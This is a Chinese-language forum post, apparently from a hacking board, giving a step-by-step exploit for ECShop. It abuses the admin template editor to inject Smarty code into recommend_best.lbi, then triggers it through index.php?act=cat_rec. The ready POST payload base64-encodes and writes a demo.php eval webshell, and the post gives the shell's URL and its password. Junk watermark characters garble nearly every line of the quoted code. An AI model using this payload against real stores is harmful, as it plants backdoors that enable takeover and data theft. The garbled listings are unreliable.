首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
( W" Z$ b2 d7 G% X6 A, W# \2 q9 V/ b9 Y3 z$ \
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了7 a+ F0 u& ? L$ b8 ^
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码# A1 V" l* d6 p8 @1 R. Q
admin/template.php
; S- S6 m) w% Z1 n3 k4 H# |! l& x+ ?& j
1 if ($_REQUEST['act'] == 'update_library')
2 M2 f5 `" _0 B2 \. a9 @7 b( u* S# |3 t7 i& c$ ^
2 : m! Y# ]& x: ?8 C9 f
. ^" Y: j1 Z& s& E1 b1 M
3 { - l* H1 G7 |4 U/ X" J- z1 B
. q5 T. G" C. j- L
4 check_authz_json('library_manage');
8 }5 N: H, M: D' x. ?% `& y6 K$ \2 o; d4 u6 c1 ^. W3 I
5 ; U) f4 I5 I% s u3 \
) d+ o# c+ C) @6 Y1 k6 $html = stripslashes(json_str_iconv($_POST['html'])); 0 L% B, [9 E% i% E
: X% |. @0 ^, d, \
7 ) `8 ~+ {; E3 e% m+ a
4 [! h/ N+ l* D: A
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
/ a5 d3 O# A% @
" f x/ X7 i) I4 c9 5 T$ k9 q( Y0 Z: d7 c. y
# C' S$ |2 A- |; Z7 O
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
3 @) Y3 F4 I% C0 f; [$ O0 o, k8 c6 B3 v* h, X
11
9 ^5 z" ~3 m- |% a: b' D9 P( K8 `; U9 U8 I6 {( h. ]+ d
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
! U) d4 O7 ^0 D: e+ f* T$ h* v* ^+ h! b0 `
13 ( j$ _# }( t4 @2 D1 U
$ E/ i6 F1 g3 v8 w14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
6 _$ n. Z6 a4 r* t. A( I/ |+ H* C, O) Y
15 { % }4 G. _: ~ U2 C
. y; ^, X! P I8 F+ J. T16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
, [) O0 c8 L: g% k- M/ y; K5 M& t1 l7 O2 T' o3 Y
17 make_json_result('', $_LANG['update_lib_success']);
1 B: P0 z H. A, C. D/ R! h# m5 V. ]. v
18 }
8 P; d2 K6 V+ h7 H/ t1 u8 C
2 G% f: x6 h$ c+ r4 i: s2 \19 else
4 k) N! _* Y8 u+ d5 M
, c: c# L& x9 `# G3 r. {20 {
0 \+ R+ c( j; ?1 Z1 U- D( B: R b! i/ ?: z
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); " h- U+ c$ V& S; m' ], _: k! P
. l# U( L! u) s" u5 i22 }
J& r5 @7 m% P2 l$ x) E+ y: p1 K
23 }
/ G( j- ^0 A4 g' o$ M! B5 L% h& a
8 }3 }" t5 n+ h/ y) t那么找个比较方便调用了模板的文件
6 o5 U! I3 W y0 f, Uindex.php
, V5 i3 G! F, C1 z9 V! S
/ F5 c5 V5 R1 j- v- ]* S1 if ($act == 'cat_rec')
3 }3 N2 `+ e2 Z0 U: A; J* U
& g' S8 q% L* c5 g1 F, y' K% t$ _2 1 p0 i% W6 s9 s/ J+ C9 h* D
( V1 W& h& R1 N' B+ U) `3 { " @4 g x# o( ]5 `
, ?3 d! ?/ l% B* Z4
' s/ R0 [( \0 M/ S( g/ _5 l
. Q m' D; m2 i* b5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); + D+ U9 v. g7 y; m/ X- P
( s0 ?3 L, G6 g1 a/ c
6 9 U1 x# z! H5 R0 t$ f7 `5 G
& {- ^4 J( l2 Z" p
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
! q7 a; w8 b4 m- r( Q( r
" @: g3 e* U4 Z) C6 N( t# e8
6 e. W9 Z# L: U& K/ E9 g- c% ^* G/ |2 K, _/ @0 X0 ~- l7 i
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 5 H4 r( P5 M- G1 K2 }
6 G2 A8 S6 _2 {
10 " G' i$ l- ?! x5 k
+ J# V! e* e0 r' H6 d, i
11 include_once('includes/cls_json.php'); 7 g# X0 a7 F- }; F
; u5 I j# M$ W: a4 m" T
12 , S. v$ k; Z# l% j! X
- [; ^7 m! c' G8 D8 c13 $json = new JSON;
; |1 `2 A( \1 ]! X$ U* I
* o W, F) k8 t3 X14
7 S( q8 v d5 I; i8 [* G
! t- [& { E1 }) o15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
2 f% I! {- R3 a+ z0 b2 M9 A" p; U* C, Z$ _% }* e1 x
16
/ B) A, o/ f1 Z8 t
7 W* T2 ` U: f, l17 $children = get_children($cat_id); 7 s" t* w: t& P$ b# p' j: Z2 w2 J& x
& i6 R+ Z9 U! R( E1 M18
& f+ i# A$ }; H1 V! P) t
) y- b+ K4 |2 x5 [3 P/ M6 f o19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
3 y! t. ^3 O* j. _
/ }0 f0 P( B# R: t20
1 P$ T9 H+ T; b8 v# G8 p# h2 l2 W- [
21 $smarty->assign('cat_rec_sign', 1);
( [" b, k6 M6 R7 Q: ^ A- W% Q7 L, F
% ~- u$ J7 ` i9 e }6 l# Y& i22 0 t% m2 J1 c O, L3 k7 W# s* N+ u
, B5 R& i8 M3 V- j23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
% V) P! K2 R# {( Z
; S1 ^8 n1 ] m24
' `* {! t% P6 G
2 R% a7 o, w' M- K25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; - W }! d( J2 L& }2 d( b& U, Z
! q' a1 Z- e7 U26
7 X3 r$ _0 t" U" g- A1 w* F% `' n. w, S# C) g7 B
27 echo $rec_array[$rec_type];
; U/ I# [/ N2 x3 ^5 n% F
+ W' V3 `% S/ a28
: d1 M" e' X5 S7 ]5 D) F* y0 G: u$ P0 R
29 die($json->encode($result));
' c) f" D: R% C9 v. j$ a- G) W# }% x6 n
30 & p6 H/ \; D; t
9 H! @% S T$ C/ C1 w- |- b31 }
F% C0 V1 ^! v/ |* t% u
0 h; F& k! Y2 t; V7 }- M G那么就有利用方法了
* j& a9 D% y' }post包到http://localhost/ec/admin/template.php?act=update_library# P( K, P5 _. i4 E: {/ E+ ?
Post内容:
' X& H/ Y/ ~% f! v$ _
5 B/ ~4 F9 O# v4 @! y% D/ k5 q5 T2 L4 Z0 J+ `, A) x, b' G
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
C3 M2 K+ D$ n9 D5 O) `
! u6 K8 _, ?5 ^6 X然后访问http://localhost/ec/index.php?act=cat_rec
0 @4 Q# z* r6 [8 d( [0 T& R& ^
8 X0 x) P1 x- w5 ~# n2 j5 Cshel地址:http://localhost/ec/demo.php6 X9 ^/ q* a4 [- x. @5 {
密码c& M" @. [. O4 g# @8 C9 \8 [' w
) T, Q7 ~8 S+ _: y u9 q
|